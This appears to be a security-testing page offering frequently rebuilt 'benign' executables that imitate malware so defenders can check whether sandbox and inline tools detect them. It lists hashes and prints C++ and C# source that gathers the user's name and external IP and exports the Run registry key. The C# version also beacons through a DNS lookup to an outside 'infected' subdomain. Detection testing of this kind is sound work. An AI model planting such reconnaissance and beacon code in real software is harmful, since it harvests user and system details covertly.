Download this file on the target computer and investigate in the security tools.
Hash based tools should not detect it.
Sandbox tools should detonate and detect.
If you have an inline realtime blocking tool, this file should not get delivered.
* Demonstrate the value of real time detonation vs hash based technologies.
* Test your deployment, 1 click proves that the integrations are talking together
* Use over HTTPs to test decryption configurations
File | MD5 Hash | Created | Size |
---|---|---|---|
malware_eicar_cpayne_1734700307.exe | 9ae2d6ed00c803a8f3c4bc867ab29f38 | December 20 2024 13:11:48 GMT | 4775532 bytes |
malware_eicar_cpayne_1734686325.exe | 048f6561b08c25a8a2ac263f90ddc1ad | December 20 2024 09:18:46 GMT | 4775532 bytes |
malware_eicar_cpayne_1734602421.exe | 9ea4cfe7bca55f871abd207fe95eb3f8 | December 19 2024 10:00:22 GMT | 4775532 bytes |
malware_eicar_cpayne_1734567064.exe | 56c4b8f8f8aa2c89de4b63393bbe3088 | December 19 2024 00:11:05 GMT | 4775532 bytes |
malware_eicar_cpayne_1734564778.exe | 8271cf3058e36bec9e2d5338c78eb573 | December 18 2024 23:32:59 GMT | 4775532 bytes |
malware_eicar_cpayne_1734513011.exe | 3f24dfc621cf02aa03f72d224f58fa49 | December 18 2024 09:10:12 GMT | 4775532 bytes |
malware_eicar_cpayne_1734462937.exe | 00e549e30e0ed2b181efa4b73b224b1f | December 17 2024 19:15:39 GMT | 4775532 bytes |
malware_eicar_cpayne_1734427996.exe | 83f7a1c435de596b427f41a1fa1688cb | December 17 2024 09:33:17 GMT | 4775532 bytes |
malware_eicar_cpayne_1734427422.exe | 485902e85abd962a4bd1232dfda7220b | December 17 2024 09:23:43 GMT | 4775532 bytes |
malware_eicar_cpayne_1734352870.exe | d3fffc348f69b047f6049ebb4fbd653b | December 16 2024 12:41:11 GMT | 4775532 bytes |
> #cat /path/malware_eicar.cs
/*
MAATrigger-Payload - John Payne
------------------------
Windows C++ executable - once executed it will perform the following,
closly matching original C# code. Targeted for Windows 7+ operating systems
What this code does:
- Gain privs to allow registry access
- Connects to bot.whatismyipaddress.com & and get IP
- Get current Windows user
- Write IP and Windows user to file (current DIR\drop.txt)
- Export registry keys to file (current DIR\export.reg)
- Create mutex "1234-7" - red flag in MAA
- Sleep for 60000ms
*/
#include
#include
#include "windows.h" // C++ Windows API
#include
#pragma comment(lib, "Ws2_32.lib") // winsock2 libary
using namespace std;
bool gainPriv();
int main() {
cout << "Blessings Payload Application\n";
/* Gain the neccessary priv's to perform admin functions on Windows
------------------------------------------------------------------*/
cout << "Escalating privileges if possible...\n";
if (gainPriv()) {
cout << "Privileges escalated successfully.\n";
}
else {
cout << "Could not escalate privileges. Likely running as locked down user with limited OS access, or other security mechanisms in place.\n";
}
/* located external IP address. Note very little error checking here
------------------------------------------------------------------ */
WSADATA wsaData;
sockaddr_in serverInfo;
char request[] = "GET / HTTP/1.0\r\nHost: bot.whatismyipaddress.com\r\nUser-Agent: Blessings\r\nConnection: Close\r\n\r\n";
char recvBuf[512] = "";
serverInfo.sin_family = AF_INET;
serverInfo.sin_addr.s_addr = inet_addr("66.171.248.178"); // bot.whatismyipaddress.com
serverInfo.sin_port = htons(80);
int err = WSAStartup(MAKEWORD(2,2), &wsaData);
int sockfd = ::socket(AF_INET, SOCK_STREAM, 0);
err = ::connect(sockfd, (SOCKADDR *)&serverInfo, sizeof(serverInfo));
err = ::send(sockfd, request, (int)strlen(request), 0);
// recv loop, server *Should* respect the Connection: close header so this can be kept simple
do {
err = recv(sockfd, recvBuf, 512, 0);
if (err > 0)
cout << "Recieved " << err << "OK.\n";
else if (err == 0)
cout << "Connection gracefully closed.\n";
else
cout << "Something went wrong with recv()\n";
} while (err > 0);
WSACleanup();
/* Get Windows Username
------------------------------------------------------------------*/
char currentUser[128];
DWORD userSize = 512;
int ret = GetUserNameA(currentUser, &userSize);
if (ret == 0) {
cout << "Error with username: " << GetLastError() << endl;
}
cout << "Current user is " << currentUser << endl;
/* Write IP and username to a file
------------------------------------------------------------------*/
ofstream outFile;
outFile.open("drop.txt", ios::out);
outFile << "Dropped by MAATrigger-Payload\nUsername: " << currentUser << endl;
outFile << "External IP: " << recvBuf << endl;
outFile.close();
/* perform registry query and export to current DIR\export.reg
------------------------------------------------------------------*/
REGSAM regAccess = KEY_READ;
HKEY keyResult;
LONG lresult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, regAccess, &keyResult);
if (lresult == ERROR_SUCCESS) {
cout << "Opened key OK.\n";
}
else {
cout << "Failed to open key.\n";
}
LONG saveResult = RegSaveKeyEx(keyResult, TEXT("export.reg"), NULL, REG_STANDARD_FORMAT);
if (saveResult == ERROR_SUCCESS) {
cout << "Saved keys OK.\n";
}
else {
cout << "Failed to save keys. Error " << saveResult << endl;
}
/* Create Windows Mutex
------------------------------------------------------------------*/
HANDLE mytex = CreateMutex(NULL, TRUE, "1234-7");
if (mytex == NULL) {
cout << "Error creating mutex.\n";
}
else {
cout << "Mutex created OK.\n";
}
ReleaseMutex(mytex);
/* perform sleep for 60 seconds
------------------------------------------------------------------*/
Sleep(60000);
// all done!
return 0;
}
bool gainPriv() {
HANDLE hToken = NULL;
TOKEN_PRIVILEGES newState;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
cout << "Failed OpenProcessToken.\n";
return false;
}
if (!LookupPrivilegeValue(NULL, SE_BACKUP_NAME, &luid))
{
CloseHandle(hToken);
printf("Failed LookupPrivilegeValue\n");
return false;
}
newState.PrivilegeCount = 1;
newState.Privileges[0].Luid = luid;
newState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Adjust the token privilege.
if (!AdjustTokenPrivileges(hToken, FALSE, &newState, 0, NULL, NULL))
{
printf("Failed AdjustTokenPrivileges\n");
return false;
}
// Close the handle.
CloseHandle(hToken);
return true;
}
Download this file on the target computer and investigate in the security tools.
Hash based tools should not detect it.
Sandbox tools should detonate and detect.
If you have an inline realtime blocking tool, this file should not get delivered.
* Demonstrate the value of real time detonation vs hash based technologies.
* Test your deployment, 1 click proves that the integrations are talking together
* Use over HTTPs to test decryption configurations
File | MD5 Hash | Created | Size |
---|---|---|---|
malware_eicar_csharp_1734706022.exe | 8324d0660628a927128f7a4bfecf3405 | December 20 2024 14:47:02 GMT | 5120 bytes |
malware_eicar_csharp_1734675143.exe | a18ac9067322adf3cb93c517f9f2fdb2 | December 20 2024 06:12:23 GMT | 5120 bytes |
malware_eicar_csharp_1734664872.exe | f7cbc9130725ec3e9f94c1508f986dc5 | December 20 2024 03:21:12 GMT | 5120 bytes |
malware_eicar_csharp_1734602426.exe | 4daa0f7a207cb1c0e7d9ff0ce7e826af | December 19 2024 10:00:26 GMT | 5120 bytes |
malware_eicar_csharp_1734567067.exe | a3a6f14d3f532c3f379e9f974b32c8c2 | December 19 2024 00:11:08 GMT | 5120 bytes |
malware_eicar_csharp_1734566444.exe | 40be04c3db194acd097534e1580714d1 | December 19 2024 00:00:45 GMT | 5120 bytes |
malware_eicar_csharp_1734564781.exe | 7cc8f87bb96c711e1bdae0561938c00c | December 18 2024 23:33:01 GMT | 5120 bytes |
malware_eicar_csharp_1734536262.exe | fa3f03f8982e72b614616b1425615b7a | December 18 2024 15:37:42 GMT | 5120 bytes |
malware_eicar_csharp_1734515810.exe | f5cb5ecf0fc80dbcb78faa93c11aef95 | December 18 2024 09:56:51 GMT | 5120 bytes |
malware_eicar_csharp_1734462960.exe | f5602f1a1c0f871bf6c5909f44302e53 | December 17 2024 19:16:00 GMT | 5120 bytes |
> #cat /path/malware_eicar.cs
using System;
using System.Net;
using System.Web;
using System.Text;
using System.Text.RegularExpressions;
using System.Diagnostics;
using System.ComponentModel;
namespace blessings.Mono.Eicar
{
public class HelloMalware
{
public static void Main(string[] args)
{
Console.Write("I'm up to no good");
Console.Write("dynamic=ffc89310d674302ab4c8745409994bf9"); //Hash derived from system clock to keep exe hash changing
WebClient webClient = new WebClient();
byte[] myIp = webClient.DownloadData("http://bot.whatismyipaddress.com/");
string[] output = new string[5];
output[0] = System.Text.Encoding.Default.GetString(myIp);
output[1] = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
System.IO.File.WriteAllLines(@"./scraped_info.txt",output) ;
System.IO.File.WriteAllText(@"./fake_rasauto32.dll",":)") ;
Export(@".\export.reg", @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
IPHostEntry hostInfo = Dns.GetHostEntry(output[0]+".infected.7blessings.co.uk");
System.Threading.Mutex _mutey = null;
_mutey = new System.Threading.Mutex(false, "1234-7");
Console.Write(System.Environment.NewLine+"Finished");
Console.ReadLine();
System.Threading.Thread.Sleep(60000);
}
private static void Export(string exportPath, string registryPath)
{
string path = "\""+ exportPath + "\"";
string key = "\""+ registryPath + "\"";
Process proc = new Process();
try
{
proc.StartInfo.FileName = "regedit.exe";
proc.StartInfo.UseShellExecute = false;
proc = Process.Start("regedit.exe", "/e " + path + " "+ key);
proc.WaitForExit();
}
catch (Exception)
{
proc.Dispose();
}
}
}
}
Many thanks to https://github.com/a0rtega/pafish for your work!
Generated 100% benign compiled exe that mimics behaviour actions of genuine malware. As the malware is generated frequently, the hash should already not be known to any security tool.
This tool differs from the above as it detonates in a Sandbox, and not the full iVM making it ideal for testing and showing MASS.
Download this file on the target computer and investigate in the security tools.
Hash based tools should not detect it.
Sandbox tools should detonate and detect.
If you have an inline realtime blocking tool, this file should not get delivered.
* Demonstrate the value of real time detonation vs hash based technologies.
* Demonstrate security delivere to devices using Cloud proxy
* Use over HTTPs to test decryption configurations
File | MD5 Hash | Created | Size |
---|---|---|---|
pafish_appendedepoch_1734762866.exe | a55f20b29f0a8322b3f785b8a225db37 | December 21 2024 06:34:26 GMT | 76811 bytes |
pafish_appendedepoch_1734692791.exe | 48a7a9fdf7dc09262d3e6da328339350 | December 20 2024 11:06:31 GMT | 76811 bytes |
pafish_appendedepoch_1734692789.exe | 560726fbfeb00f3d4a8e6e7d29b86755 | December 20 2024 11:06:29 GMT | 76811 bytes |
pafish_appendedepoch_1734675212.exe | e937c92a61ff119a78b668b453133419 | December 20 2024 06:13:32 GMT | 76811 bytes |
pafish_appendedepoch_1734657938.exe | 94a0824c26caaccd613b8eea7b3a719e | December 20 2024 01:25:38 GMT | 76811 bytes |
pafish_appendedepoch_1734622109.exe | 21706110cbd15de03f805c24d0630527 | December 19 2024 15:28:29 GMT | 76811 bytes |
pafish_appendedepoch_1734602476.exe | 2ff1c4553573660e59664f6529bbc21d | December 19 2024 10:01:16 GMT | 76811 bytes |
pafish_appendedepoch_1734572448.exe | e3bc659ab9aed7e5572fc06ebbb5ee69 | December 19 2024 01:40:48 GMT | 76811 bytes |
pafish_appendedepoch_1734567081.exe | 95fe1f20c23d35d0c5a38fcbff9fdbbd | December 19 2024 00:11:21 GMT | 76811 bytes |
pafish_appendedepoch_1734564794.exe | 61ef513cdf54739094ab3429898c4e8b | December 18 2024 23:33:14 GMT | 76811 bytes |